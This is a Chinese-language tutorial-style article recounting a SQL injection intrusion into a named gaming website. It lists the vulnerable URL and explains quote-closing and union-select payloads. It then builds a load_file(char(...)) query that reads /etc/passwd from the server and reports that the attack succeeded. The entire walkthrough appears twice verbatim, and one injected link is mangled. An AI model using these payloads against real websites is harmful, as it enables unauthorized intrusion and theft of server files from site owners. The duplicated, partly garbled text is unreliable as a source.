PHP注入實例之PHP網(wǎng)站系統(tǒng)入侵(圖)
發(fā)布日期:2021-12-27 14:42 | 文章來源:站長之家
聽承諾說CASI出2.0了,而且承諾也給了一個有漏洞的地址,正好沒事就測試了一下,最近非常郁悶,學(xué)不下去,正好今天承諾勾起了我學(xué)習(xí)php的美好時光,看看自己還能不能搞這樣的站吧.
過程:
承諾給的地址是http://www.gametea.com//showboard.php?id=282
很標(biāo)準(zhǔn)的php注入形式,我們也按照標(biāo)準(zhǔn)的php注入方法來進(jìn)行注入,首先再后面加一個',
http://www.gametea.com/showboard.php?id=282'
如圖1
他告訴我們2個方面的信息,第一是magic_quotes_gpc = off
第二個就是web路徑/home/newgt/showboard.php
再提交語句以前我們還是先來說明一下php注入的原理和一個小例子,php注入就是利用變量過濾不足造成的
看看下面兩句SQL語句:
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id
兩種寫法在各種程序中都很普遍,但安全性是不同的,第一句由于把變量$id放在一對單引號中,這樣使得我們所提交的變量都變成了字符串,即使包含了正確的SQL語句,也不會正常執(zhí)行,而第二句不同,由于沒有把變量放進(jìn)單引號中,那我們所提交的一切,只要包含空格,那空格后的變量都會作為SQL語句執(zhí)行,我們針對兩個句子分別提交兩個成功注入的畸形語句,來看看不同之處。
① 指定變量$id為:
1' and 1=2 union select * from user where userid=1/*
此時整個SQL語句變?yōu)椋?
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定變量$id為:
1 and 1=2 union select * from user where userid=1
此時整個SQL語句變?yōu)椋?
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
看出來了嗎?由于第一句有單引號,我們必須先閉合前面的單引號,這樣才能使后面的語句作為SQL執(zhí)行,并要注釋掉后面原SQL語句中的后面的單引號,這樣才可以成功注入,如果php.ini中magic_quotes_gpc設(shè)置為on或者變量前使用了addslashes()函數(shù),我們的攻擊就會化為烏有,但第二句沒有用引號包含變量,那我們也不用考慮去閉合、注釋,直接提交就OK了。
好了現(xiàn)在我們就要按照angel的方法來提交語句了http://www.gametea.com/showboard.php?id=282 and 1=2 union select 50,9,8,7,6,5,4,3,2,1
如圖2
再這里我們可以得知7和9這兩個地方是文本的,也就是說可以顯示我們想要的文件的內(nèi)容,下面我們就是要讀取服務(wù)器上的文件了從web路徑上看這臺機器應(yīng)該是UNIX的,那么我們的目標(biāo)就是拿到/etc/passwd這個文件了
我們知道,在SQL語句中,可以使用各種MySQL內(nèi)置的函數(shù),經(jīng)常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()這些函數(shù)來獲取一些系統(tǒng)的信息,還有一個應(yīng)用得比較多的函數(shù),就是load_file(),該函數(shù)的作用是讀入文件,并將文件內(nèi)容作為一個字符串返回。
看到這里,應(yīng)該可以想到我們可以做什么了,就是讀取一些機密文件,但是也是有條件限制的:
欲讀取文件必須在服務(wù)器上
必須指定文件完整的路徑
必須有權(quán)限讀取并且文件必須完全可讀
欲讀取文件必須小于 max_allowed_packet
如果該文件不存在,或因為上面的任一原因而不能被讀出,函數(shù)返回空。比較難滿足的就是權(quán)限,在windows下,如果NTFS設(shè)置得當(dāng),是不能讀取相關(guān)的文件的,當(dāng)遇到只有administrators才能訪問的文件,users就別想load_file出來。
在實際的注入中,我們有兩個難點需要解決:
絕對物理路徑
構(gòu)造有效的畸形語句
在很多PHP程序中,當(dāng)提交一個錯誤的Query,如果display_errors = on,程序就會暴露WEB目錄的絕對路徑,只要知道路徑,那么對于一個可以注入的PHP程序來說,整個服務(wù)器的安全將受到嚴(yán)重的威脅。構(gòu)造語句已經(jīng)是小意思了。
我們這里用的load_file(char())這個函數(shù)我們需要把/etc/passwd轉(zhuǎn)化成16進(jìn)制的我們請出asc2chr這個工具來幫我們完成轉(zhuǎn)化工作
如圖三
我們很輕松的就得到了/etc/passwd的16進(jìn)制格式
下面就是構(gòu)建語句了_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1">http://www.gametea.com/showboard.php?id=282 and 1=2 union select 50,9,8,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1
很輕松就得到了/etc/passwd的文件,大家看一下圖片,
如圖4
過程:
承諾給的地址是http://www.gametea.com//showboard.php?id=282
很標(biāo)準(zhǔn)的php注入形式,我們也按照標(biāo)準(zhǔn)的php注入方法來進(jìn)行注入,首先再后面加一個',
http://www.gametea.com/showboard.php?id=282'
如圖1

他告訴我們2個方面的信息,第一是magic_quotes_gpc = off
第二個就是web路徑/home/newgt/showboard.php
再提交語句以前我們還是先來說明一下php注入的原理和一個小例子,php注入就是利用變量過濾不足造成的
看看下面兩句SQL語句:
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id
兩種寫法在各種程序中都很普遍,但安全性是不同的,第一句由于把變量$id放在一對單引號中,這樣使得我們所提交的變量都變成了字符串,即使包含了正確的SQL語句,也不會正常執(zhí)行,而第二句不同,由于沒有把變量放進(jìn)單引號中,那我們所提交的一切,只要包含空格,那空格后的變量都會作為SQL語句執(zhí)行,我們針對兩個句子分別提交兩個成功注入的畸形語句,來看看不同之處。
① 指定變量$id為:
1' and 1=2 union select * from user where userid=1/*
此時整個SQL語句變?yōu)椋?
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定變量$id為:
1 and 1=2 union select * from user where userid=1
此時整個SQL語句變?yōu)椋?
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
看出來了嗎?由于第一句有單引號,我們必須先閉合前面的單引號,這樣才能使后面的語句作為SQL執(zhí)行,并要注釋掉后面原SQL語句中的后面的單引號,這樣才可以成功注入,如果php.ini中magic_quotes_gpc設(shè)置為on或者變量前使用了addslashes()函數(shù),我們的攻擊就會化為烏有,但第二句沒有用引號包含變量,那我們也不用考慮去閉合、注釋,直接提交就OK了。
好了現(xiàn)在我們就要按照angel的方法來提交語句了http://www.gametea.com/showboard.php?id=282 and 1=2 union select 50,9,8,7,6,5,4,3,2,1
如圖2

再這里我們可以得知7和9這兩個地方是文本的,也就是說可以顯示我們想要的文件的內(nèi)容,下面我們就是要讀取服務(wù)器上的文件了從web路徑上看這臺機器應(yīng)該是UNIX的,那么我們的目標(biāo)就是拿到/etc/passwd這個文件了
我們知道,在SQL語句中,可以使用各種MySQL內(nèi)置的函數(shù),經(jīng)常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()這些函數(shù)來獲取一些系統(tǒng)的信息,還有一個應(yīng)用得比較多的函數(shù),就是load_file(),該函數(shù)的作用是讀入文件,并將文件內(nèi)容作為一個字符串返回。
看到這里,應(yīng)該可以想到我們可以做什么了,就是讀取一些機密文件,但是也是有條件限制的:
欲讀取文件必須在服務(wù)器上
必須指定文件完整的路徑
必須有權(quán)限讀取并且文件必須完全可讀
欲讀取文件必須小于 max_allowed_packet
如果該文件不存在,或因為上面的任一原因而不能被讀出,函數(shù)返回空。比較難滿足的就是權(quán)限,在windows下,如果NTFS設(shè)置得當(dāng),是不能讀取相關(guān)的文件的,當(dāng)遇到只有administrators才能訪問的文件,users就別想load_file出來。
在實際的注入中,我們有兩個難點需要解決:
絕對物理路徑
構(gòu)造有效的畸形語句
在很多PHP程序中,當(dāng)提交一個錯誤的Query,如果display_errors = on,程序就會暴露WEB目錄的絕對路徑,只要知道路徑,那么對于一個可以注入的PHP程序來說,整個服務(wù)器的安全將受到嚴(yán)重的威脅。構(gòu)造語句已經(jīng)是小意思了。
我們這里用的load_file(char())這個函數(shù)我們需要把/etc/passwd轉(zhuǎn)化成16進(jìn)制的我們請出asc2chr這個工具來幫我們完成轉(zhuǎn)化工作
如圖三

我們很輕松的就得到了/etc/passwd的16進(jìn)制格式
下面就是構(gòu)建語句了_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1">http://www.gametea.com/showboard.php?id=282 and 1=2 union select 50,9,8,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),6,5,4,3,2,1
很輕松就得到了/etc/passwd的文件,大家看一下圖片,
如圖4

上一頁12 下一頁 閱讀全文
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章